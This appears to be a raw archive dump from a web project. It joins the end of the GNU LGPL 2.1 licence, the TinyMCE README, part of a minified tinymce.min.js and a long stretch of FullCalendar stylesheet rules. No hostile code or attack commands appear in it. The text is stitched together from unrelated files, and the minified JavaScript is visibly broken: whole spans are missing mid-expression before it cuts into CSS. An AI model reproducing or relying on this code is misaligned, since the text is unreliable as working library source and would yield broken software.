to control compilation and installation of the library. Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Library is not restricted, and output from such a program is covered only if its contents constitute a work based on the Library (independent of the use of the Library in a tool for writing it). Whether that is true depends on what the Library does and what the program that uses the Library does. 1. You may copy and distribute verbatim copies of the Library's complete source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Library. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) The modified work must itself be a software library. b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change. c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License. d) If a facility in the modified Library refers to a function or a table of data to be supplied by an application program that uses the facility, other than as an argument passed when the facility is invoked, then you must make a good faith effort to ensure that, in the event an application does not supply such function or table, the facility still operates, and performs whatever part of its purpose remains meaningful. (For example, a function in a library to compute square roots has a purpose that is entirely well-defined independent of the application. Therefore, Subsection 2d requires that any application-supplied function or table used by this function must be optional: if the application does not supply it, the square root function must still compute square roots.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Library, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Library, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Library. In addition, mere aggregation of another work not based on the Library with the Library (or with a work based on the Library) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may opt to apply the terms of the ordinary GNU General Public License instead of this License to a given copy of the Library. To do this, you must alter all the notices that refer to this License, so that they refer to the ordinary GNU General Public License, version 2, instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices. Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy. This option is useful when you wish to copy part of the code of the Library into a program that is not a library. 4. You may copy and distribute the Library (or a portion or derivative of it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange. If distribution of object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place satisfies the requirement to distribute the source code, even though third parties are not compelled to copy the source along with the object code. 5. A program that contains no derivative of any portion of the Library, but is designed to work with the Library by being compiled or linked with it, is called a "work that uses the Library". Such a work, in isolation, is not a derivative work of the Library, and therefore falls outside the scope of this License. However, linking a "work that uses the Library" with the Library creates an executable that is a derivative of the Library (because it contains portions of the Library), rather than a "work that uses the library". The executable is therefore covered by this License. Section 6 states terms for distribution of such executables. When a "work that uses the Library" uses material from a header file that is part of the Library, the object code for the work may be a derivative work of the Library even though the source code is not. Whether this is true is especially significant if the work can be linked without the Library, or if the work is itself a library. The threshold for this to be true is not precisely defined by law. If such an object file uses only numerical parameters, data structure layouts and accessors, and small macros and small inline functions (ten lines or less in length), then the use of the object file is unrestricted, regardless of whether it is legally a derivative work. (Executables containing this object code plus portions of the Library will still fall under Section 6.) Otherwise, if the work is a derivative of the Library, you may distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself. 6. As an exception to the Sections above, you may also combine or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work under terms of your choice, provided that the terms permit modification of the work for the customer's own use and reverse engineering for debugging such modifications. You must give prominent notice with each copy of the work that the Library is used in it and that the Library and its use are covered by this License. You must supply a copy of this License. If the work during execution displays copyright notices, you must include the copyright notice for the Library among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things: a) Accompany the work with the complete corresponding machine-readable source code for the Library including whatever changes were used in the work (which must be distributed under Sections 1 and 2 above); and, if the work is an executable linked with the Library, with the complete machine-readable "work that uses the Library", as object code and/or source code, so that the user can modify the Library and then relink to produce a modified executable containing the modified Library. (It is understood that the user who changes the contents of definitions files in the Library will not necessarily be able to recompile the application to use the modified definitions.) b) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (1) uses at run time a copy of the library already present on the user's computer system, rather than copying library functions into the executable, and (2) will operate properly with a modified version of the library, if the user installs one, as long as the modified version is interface-compatible with the version that the work was made with. c) Accompany the work with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 6a, above, for a charge no more than the cost of performing this distribution. d) If distribution of the work is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place. e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy. For an executable, the required form of the "work that uses the Library" must include any data and utility programs needed for reproducing the executable from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. It may happen that this requirement contradicts the license restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute. 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined library, provided that the separate distribution of the work based on the Library and of the other library facilities is otherwise permitted, and provided that you do these two things: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities. This must be distributed under the terms of the Sections above. b) Give prominent notice with the combined library of the fact that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 8. You may not copy, modify, sublicense, link with, or distribute the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 9. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Library or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Library (or any work based on the Library), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Library or works based on it. 10. Each time you redistribute the Library (or any work based on the Library), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Library subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License. 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Library at all. For example, if a patent license would not permit royalty-free redistribution of the Library by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Library. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 12. If the distribution and/or use of the Library is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Library under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 13. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation. 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Libraries If you develop a new library, and you want it to be of the greatest possible use to the public, we recommend making it free software that everyone can redistribute and change. You can do so by permitting redistribution under these terms (or, alternatively, under the terms of the ordinary General Public License). To apply these terms, attach the following notices to the library. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the library, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the library `Frob' (a library for tweaking knobs) written by James Random Hacker. , 1 April 1990 Ty Coon, President of Vice That's all there is to it! PKZ1ppjs/plugins/tinymce/README.mdnu[# TinyMCE The world's #1 open source rich text editor. Used and trusted by millions of developers, TinyMCE is the world’s most customizable, scalable, and flexible rich text editor. We’ve helped launch the likes of Atlassian, Medium, Evernote (and lots more that we can’t tell you), by empowering them to create exceptional content and experiences for their users. With more than 350M+ downloads every year, we’re also one of the most trusted enterprise-grade open source HTML editors on the internet. There’s currently more than 100M+ products worldwide, powered by Tiny. As a high powered WYSIWYG editor, TinyMCE is built to scale, designed to innovate, and thrives on delivering results to difficult edge-cases. You can access a [full featured demo of TinyMCE](https://www.tiny.cloud/docs/demo/full-featured/) in the docs on the TinyMCE website.

    Screenshot of the TinyMCE Editor

    ## Get started with TinyMCE Getting started with the TinyMCE rich text editor is easy, and for simple configurations can be done in less than 5 minutes. [TinyMCE Cloud Deployment Quick Start Guide](https://www.tiny.cloud/docs/quick-start/) [TinyMCE Self-hosted Deployment Guide](https://www.tiny.cloud/docs/general-configuration-guide/advanced-install/) TinyMCE provides a range of configuration options that allow you to integrate it into your application. Start customizing with a [basic setup](https://www.tiny.cloud/docs/general-configuration-guide/basic-setup/). Configure it for one of three modes of editing: - [TinyMCE classic editing mode](https://www.tiny.cloud/docs/general-configuration-guide/use-tinymce-classic/). - [TinyMCE inline editing mode](https://www.tiny.cloud/docs/general-configuration-guide/use-tinymce-inline/). - [TinyMCE distraction-free editing mode](https://www.tiny.cloud/docs/general-configuration-guide/use-tinymce-distraction-free/). ## Features ### Integration TinyMCE is easily integrated into your projects with the help of components such as: - [tinymce-react](https://github.com/tinymce/tinymce-react) - [tinymce-vue](https://github.com/tinymce/tinymce-vue) - [tinymce-angular](https://github.com/tinymce/tinymce-angular) With over 29 integrations, and 400+ APIs, see the TinyMCE docs for a full list of editor [integrations](https://www.tiny.cloud/docs/integrations/). ### Customization It is easy to [configure the UI](https://www.tiny.cloud/docs/general-configuration-guide/customize-ui/) of your rich text editor to match the design of your site, product or application. Due to its flexibility, you can [configure the editor](https://www.tiny.cloud/docs/general-configuration-guide/basic-setup/) with as much or as little functionality as you like, depending on your requirements. With [50+ powerful plugins available](https://www.tiny.cloud/apps/), and content editable as the basis of TinyMCE, adding additional functionality is as simple as including a single line of code. Realizing the full power of most plugins requires only a few lines more. ### Extensibility Sometimes your editor requirements can be quite unique, and you need the freedom and flexibility to innovate. Thanks to TinyMCE being open source, you can view the source code and develop your own extensions for custom functionality to meet your own requirements. The TinyMCE [API](https://www.tiny.cloud/docs/api/) is exposed to make it easier for you to write custom functionality that fits within the existing framework of TinyMCE [UI components](https://www.tiny.cloud/docs/ui-components/). ### Extended Features and Support For the professional software teams that require more in-depth efficiency, compliance or collaborative features built to enterprise-grade standards, please [get in touch with our team](https://www.tiny.cloud/contact/). Tiny also offers dedicated SLAs and support for professional development teams. ## Compiling and contributing In 2019 the decision was made to transition our codebase to a monorepo. For information on compiling and contributing, see: [contribution guidelines](https://github.com/tinymce/tinymce/blob/master/CONTRIBUTING.md). As an open source product, we encourage and support the active development of our software. ## Want more information? Visit the [TinyMCE website](https://tiny.cloud/) and check out the [TinyMCE documentation](https://www.tiny.cloud/docs/). PKZ[!js/plugins/tinymce/tinymce.min.jsnu[/** * Copyright (c) Tiny Technologies, Inc. All rights reserved. * Licensed under the LGPL or a commercial license. * For LGPL see License.txt in the project root for license information. * For commercial licenses see https://www.tiny.cloud/ * * Version: 5.10.3 (2022-02-09) */ !function(){"use strict";function r(e){if(null===e)return"null";if(void 0===e)return"undefined";var t=typeof e;return"object"==t&&(Array.prototype.isPrototypeOf(e)||e.constructor&&"Array"===e.constructor.name)?"array":"object"==t&&(String.prototype.isPrototypeOf(e)||e.constructor&&"String"===e.constructor.name)?"string":t}function f(o){return m(function(e,t){if(e.length!==t.length)return!1;for(var n=e.length,r=0;r=n.length&&e.substr(0,0+n.length)===n;var n},Je=Oe(/^\s+|\s+$/g),Qe=Oe(/^\s+/g),Ze=Oe(/\s+$/g),et=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,tt={browsers:J([{name:"Edge",versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(e){return Te(e,"edge/")&&Te(e,"chrome")&&Te(e,"safari")&&Te(e,"applewebkit")}},{name:"Chrome",brand:"Chromium",versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,et],search:function(e){return Te(e,"chrome")&&!Te(e,"chromeframe")}},{name:"IE",versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(e){return Te(e,"msie")||Te(e,"trident")}},{name:"Opera",versionRegexes:[et,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:Le("opera")},{name:"Firefox",versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:Le("firefox")},{name:"Safari",versionRegexes:[et,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(e){return(Te(e,"safari")||Te(e,"mobile/"))&&Te(e,"applewebkit")}}]),oses:J([{name:"Windows",search:Le("win"),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:"iOS",search:function(e){return Te(e,"iphone")||Te(e,"ipad")},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:"Android",search:Le("android"),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:"OSX",search:Le("mac os x"),versionRegexes:[/.*?mac\ os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:"Linux",search:Le("linux"),versionRegexes:[]},{name:"Solaris",search:Le("sunos"),versionRegexes:[]},{name:"FreeBSD",search:Le("freebsd"),versionRegexes:[]},{name:"ChromeOS",search:Le("cros"),versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/]}])},nt="Firefox",rt=function(){return $e({current:void 0,version:Ye.unknown()})},ot=$e,it=(J("Edge"),J("Chrome"),J("IE"),J("Opera"),J(nt),J("Safari"),"Windows"),at="Android",ut="Solaris",st="FreeBSD",ct="ChromeOS",lt=function(){return We({current:void 0,version:Ye.unknown()})},ft=We,dt=(J(it),J("iOS"),J(at),J("Linux"),J("OSX"),J(ut),J(st),J(ct),Re(function(){return e=navigator.userAgent,t=ve.from(navigator.userAgentData),n=Ie,p=tt.browsers(),h=tt.oses(),v=t.bind(function(e){return r=p,ee(e.brands,function(t){var n=t.brand.toLowerCase();return M(r,function(e){var t;return n===(null===(t=e.brand)||void 0===t?void 0:t.toLowerCase())}).map(function(e){return{current:e.name,version:Ye.nu(parseInt(t.version,10),0)}})});var r}).orThunk(function(){return De(p,n=e).map(function(e){var t=Ye.detect(e.versionRegexes,n);return{current:e.name,version:t}});var n}).fold(rt,ot),b=De(h,r=e).map(function(e){var t=Ye.detect(e.versionRegexes,r);return{current:e.name,version:t}}).fold(lt,ft),{browser:v,os:b,deviceType:(i=v,a=e,u=n,s=(o=b).isiOS()&&!0===/ipad/i.test(a),c=o.isiOS()&&!s,f=(l=o.isiOS()||o.isAndroid())||u("(pointer:coarse)"),d=s||!c&&l&&u("(min-device-width:768px)"),m=c||l&&!d,g=i.isSafari()&&o.isiOS()&&!1===/safari/i.test(a),{isiPad:J(s),isiPhone:J(c),isTablet:J(d),isPhone:J(m),isTouch:J(f),isAndroid:o.isAndroid,isiOS:o.isiOS,isWebView:J(g),isDesktop:J(!m&&!d&&!g)})};var e,t,n,r,o,i,a,u,s,c,l,f,d,m,g,p,h,v,b})),mt=navigator.userAgent,gt=dt(),pt=gt.browser,ht=gt.os,vt=gt.deviceType,bt=/WebKit/.test(mt)&&!pt.isEdge(),yt="FormData"in window&&"FileReader"in window&&"URL"in window&&!!URL.createObjectURL,Ct=-1!==mt.indexOf("Windows Phone"),xt={opera:pt.isOpera(),webkit:bt,ie:!(!pt.isIE()&&!pt.isEdge())&&pt.version.major,gecko:pt.isFirefox(),mac:ht.isOSX()||ht.isiOS(),iOS:vt.isiPad()||vt.isiPhone(),android:ht.isAndroid(),contentEditable:!0,transparentSrc:"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7",caretAfter:!0,range:window.getSelection&&"Range"in window,documentMode:pt.isIE()?document.documentMode||7:10,fileApi:yt,ceFalse:!0,cacheSuffix:null,container:null,experimentalShadowDom:!1,canHaveCSP:!pt.isIE(),desktop:vt.isDesktop(),windowsPhone:Ct,browser:{current:pt.current,version:pt.version,isChrome:pt.isChrome,isEdge:pt.isEdge,isFirefox:pt.isFirefox,isIE:pt.isIE,isOpera:pt.isOpera,isSafari:pt.isSafari},os:{current:ht.current,version:ht.version,isAndroid:ht.isAndroid,isChromeOS:ht.isChromeOS,isFreeBSD:ht.isFreeBSD,isiOS:ht.isiOS,isLinux:ht.isLinux,isOSX:ht.isOSX,isSolaris:ht.isSolaris,isWindows:ht.isWindows},deviceType:{isDesktop:vt.isDesktop,isiPad:vt.isiPad,isiPhone:vt.isiPhone,isPhone:vt.isPhone,isTablet:vt.isTablet,isTouch:vt.isTouch,isWebView:vt.isWebView}},wt=/^\s*|\s*$/g,St=function(e,n,r,o){o=o||this,e&&ce(e=r?e[r]:e,function(e,t){return!1!==n.call(o,e,t,r)&&void St(e,n,r,o)})},Et={trim:Me,isArray:ke,is:Fe,toArray:function(e){if(ke(e))return e;for(var t=[],n=0,r=e.length;n=a.length&&r(o)}))})}).get(function(e){var t=B(e,function(e){return e.isValue()});0
    that wraps the table */ position: relative; z-index: 1; /* container inner z-index's because s can't do it */ } .fc .fc-daygrid-day.fc-day-today { background-color: rgba(255, 220, 40, 0.15); background-color: var(--fc-today-bg-color, rgba(255, 220, 40, 0.15)); } .fc .fc-daygrid-day-frame { position: relative; min-height: 100%; /* seems to work better than `height` because sets height after rows/cells naturally do it */ } .fc { /* cell top */ } .fc .fc-daygrid-day-top { display: flex; flex-direction: row-reverse; } .fc .fc-day-other .fc-daygrid-day-top { opacity: 0.3; } .fc { /* day number (within cell top) */ } .fc .fc-daygrid-day-number { position: relative; z-index: 4; padding: 4px; } .fc { /* event container */ } .fc .fc-daygrid-day-events { margin-top: 1px; /* needs to be margin, not padding, so that available cell height can be computed */ } .fc { /* positioning for balanced vs natural */ } .fc .fc-daygrid-body-balanced .fc-daygrid-day-events { position: absolute; left: 0; right: 0; } .fc .fc-daygrid-body-unbalanced .fc-daygrid-day-events { position: relative; /* for containing abs positioned event harnesses */ min-height: 2em; /* in addition to being a min-height during natural height, equalizes the heights a little bit */ } .fc .fc-daygrid-body-natural { /* can coexist with -unbalanced */ } .fc .fc-daygrid-body-natural .fc-daygrid-day-events { margin-bottom: 1em; } .fc { /* event harness */ } .fc .fc-daygrid-event-harness { position: relative; } .fc .fc-daygrid-event-harness-abs { position: absolute; top: 0; /* fallback coords for when cannot yet be computed */ left: 0; /* */ right: 0; /* */ } .fc .fc-daygrid-bg-harness { position: absolute; top: 0; bottom: 0; } .fc { /* bg content */ } .fc .fc-daygrid-day-bg .fc-non-business { z-index: 1 } .fc .fc-daygrid-day-bg .fc-bg-event { z-index: 2 } .fc .fc-daygrid-day-bg .fc-highlight { z-index: 3 } .fc { /* events */ } .fc .fc-daygrid-event { z-index: 6; margin-top: 1px; } .fc .fc-daygrid-event.fc-event-mirror { z-index: 7; } .fc { /* cell bottom (within day-events) */ } .fc .fc-daygrid-day-bottom { font-size: .85em; padding: 2px 3px 0 } .fc .fc-daygrid-day-bottom:before { content: ""; clear: both; display: table; } .fc .fc-daygrid-more-link { position: relative; z-index: 4; cursor: pointer; } .fc { /* week number (within frame) */ } .fc .fc-daygrid-week-number { position: absolute; z-index: 5; top: 0; padding: 2px; min-width: 1.5em; text-align: center; background-color: rgba(208, 208, 208, 0.3); background-color: var(--fc-neutral-bg-color, rgba(208, 208, 208, 0.3)); color: #808080; color: var(--fc-neutral-text-color, #808080); } .fc { /* popover */ } .fc .fc-more-popover .fc-popover-body { min-width: 220px; padding: 10px; } .fc-direction-ltr .fc-daygrid-event.fc-event-start, .fc-direction-rtl .fc-daygrid-event.fc-event-end { margin-left: 2px; } .fc-direction-ltr .fc-daygrid-event.fc-event-end, .fc-direction-rtl .fc-daygrid-event.fc-event-start { margin-right: 2px; } .fc-direction-ltr .fc-daygrid-week-number { left: 0; border-radius: 0 0 3px 0; } .fc-direction-rtl .fc-daygrid-week-number { right: 0; border-radius: 0 0 0 3px; } .fc-liquid-hack .fc-daygrid-day-frame { position: static; /* will cause inner absolute stuff to expand to */ } .fc-daygrid-event { /* make root-level, because will be dragged-and-dropped outside of a component root */ position: relative; /* for z-indexes assigned later */ white-space: nowrap; border-radius: 3px; /* dot event needs this to when selected */ font-size: .85em; font-size: var(--fc-small-font-size, .85em); } /* --- the rectangle ("block") style of event --- */ .fc-daygrid-block-event .fc-event-time { font-weight: bold; } .fc-daygrid-block-event .fc-event-time, .fc-daygrid-block-event .fc-event-title { padding: 1px; } /* --- the dot style of event --- */ .fc-daygrid-dot-event { display: flex; align-items: center; padding: 2px 0 } .fc-daygrid-dot-event .fc-event-title { flex-grow: 1; flex-shrink: 1; min-width: 0; /* important for allowing to shrink all the way */ overflow: hidden; font-weight: bold; } .fc-daygrid-dot-event:hover, .fc-daygrid-dot-event.fc-event-mirror { background: rgba(0, 0, 0, 0.1); } .fc-daygrid-dot-event.fc-event-selected:before { /* expand hit area */ top: -10px; bottom: -10px; } .fc-daygrid-event-dot { /* the actual dot */ margin: 0 4px; box-sizing: content-box; width: 0; height: 0; border: 4px solid #3788d8; border: calc(var(--fc-daygrid-event-dot-width, 8px) / 2) solid var(--fc-event-border-color, #3788d8); border-radius: 4px; border-radius: calc(var(--fc-daygrid-event-dot-width, 8px) / 2); } /* --- spacing between time and title --- */ .fc-direction-ltr .fc-daygrid-event .fc-event-time { margin-right: 3px; } .fc-direction-rtl .fc-daygrid-event .fc-event-time { margin-left: 3px; } /* A VERTICAL event */ .fc-v-event { /* allowed to be top-level */ display: block; border: 1px solid #3788d8; border: 1px solid var(--fc-event-border-color, #3788d8); background-color: #3788d8; background-color: var(--fc-event-bg-color, #3788d8) } .fc-v-event .fc-event-main { color: #fff; color: var(--fc-event-text-color, #fff); height: 100%; } .fc-v-event .fc-event-main-frame { height: 100%; display: flex; flex-direction: column; } .fc-v-event .fc-event-time { flex-grow: 0; flex-shrink: 0; max-height: 100%; overflow: hidden; } .fc-v-event .fc-event-title-container { /* a container for the sticky cushion */ flex-grow: 1; flex-shrink: 1; min-height: 0; /* important for allowing to shrink all the way */ } .fc-v-event .fc-event-title { /* will have fc-sticky on it */ top: 0; bottom: 0; max-height: 100%; /* clip overflow */ overflow: hidden; } .fc-v-event:not(.fc-event-start) { border-top-width: 0; border-top-left-radius: 0; border-top-right-radius: 0; } .fc-v-event:not(.fc-event-end) { border-bottom-width: 0; border-bottom-left-radius: 0; border-bottom-right-radius: 0; } .fc-v-event.fc-event-selected:before { /* expand hit area */ left: -10px; right: -10px; } .fc-v-event { /* resizer (mouse AND touch) */ } .fc-v-event .fc-event-resizer-start { cursor: n-resize; } .fc-v-event .fc-event-resizer-end { cursor: s-resize; } .fc-v-event { /* resizer for MOUSE */ } .fc-v-event:not(.fc-event-selected) .fc-event-resizer { height: 8px; height: var(--fc-event-resizer-thickness, 8px); left: 0; right: 0; } .fc-v-event:not(.fc-event-selected) .fc-event-resizer-start { top: -4px; top: calc(var(--fc-event-resizer-thickness, 8px) / -2); } .fc-v-event:not(.fc-event-selected) .fc-event-resizer-end { bottom: -4px; bottom: calc(var(--fc-event-resizer-thickness, 8px) / -2); } .fc-v-event { /* resizer for TOUCH (when event is "selected") */ } .fc-v-event.fc-event-selected .fc-event-resizer { left: 50%; margin-left: -4px; margin-left: calc(var(--fc-event-resizer-dot-total-width, 8px) / -2); } .fc-v-event.fc-event-selected .fc-event-resizer-start { top: -4px; top: calc(var(--fc-event-resizer-dot-total-width, 8px) / -2); } .fc-v-event.fc-event-selected .fc-event-resizer-end { bottom: -4px; bottom: calc(var(--fc-event-resizer-dot-total-width, 8px) / -2); } .fc .fc-timegrid .fc-daygrid-body { /* the all-day daygrid within the timegrid view */ z-index: 2; /* put above the timegrid-body so that more-popover is above everything. TODO: better solution */ } .fc .fc-timegrid-divider { padding: 0 0 2px; /* browsers get confused when you set height. use padding instead */ } .fc .fc-timegrid-body { position: relative; z-index: 1; /* scope the z-indexes of slots and cols */ min-height: 100%; /* fill height always, even when slat table doesn't grow */ } .fc .fc-timegrid-axis-chunk { /* for advanced ScrollGrid */ position: relative /* offset parent for now-indicator-container */ } .fc .fc-timegrid-axis-chunk > table { position: relative; z-index: 1; /* above the now-indicator-container */ } .fc .fc-timegrid-slots { position: relative; z-index: 1; } .fc .fc-timegrid-slot { /* a */ height: 1.5em; border-bottom: 0 /* each cell owns its top border */ } .fc .fc-timegrid-slot:empty:before { content: '\00a0'; /* make sure there's at least an empty space to create height for height syncing */ } .fc .fc-timegrid-slot-minor { border-top-style: dotted; } .fc .fc-timegrid-slot-label-cushion { display: inline-block; white-space: nowrap; } .fc .fc-timegrid-slot-label { vertical-align: middle; /* vertical align the slots */ } .fc { /* slots AND axis cells (top-left corner of view including the "all-day" text) */ } .fc .fc-timegrid-axis-cushion, .fc .fc-timegrid-slot-label-cushion { padding: 0 4px; } .fc { /* axis cells (top-left corner of view including the "all-day" text) */ /* vertical align is more complicated, uses flexbox */ } .fc .fc-timegrid-axis-frame-liquid { height: 100%; /* will need liquid-hack in FF */ } .fc .fc-timegrid-axis-frame { overflow: hidden; display: flex; align-items: center; /* vertical align */ justify-content: flex-end; /* horizontal align. matches text-align below */ } .fc .fc-timegrid-axis-cushion { max-width: 60px; /* limits the width of the "all-day" text */ flex-shrink: 0; /* allows text to expand how it normally would, regardless of constrained width */ } .fc-direction-ltr .fc-timegrid-slot-label-frame { text-align: right; } .fc-direction-rtl .fc-timegrid-slot-label-frame { text-align: left; } .fc-liquid-hack .fc-timegrid-axis-frame-liquid { height: auto; position: absolute; top: 0; right: 0; bottom: 0; left: 0; } .fc .fc-timegrid-col.fc-day-today { background-color: rgba(255, 220, 40, 0.15); background-color: var(--fc-today-bg-color, rgba(255, 220, 40, 0.15)); } .fc .fc-timegrid-col-frame { min-height: 100%; /* liquid-hack is below */ position: relative; } .fc-media-screen.fc-liquid-hack .fc-timegrid-col-frame { height: auto; position: absolute; top: 0; right: 0; bottom: 0; left: 0; } .fc-media-screen .fc-timegrid-cols { position: absolute; /* no z-index. children will decide and go above slots */ top: 0; left: 0; right: 0; bottom: 0 } .fc-media-screen 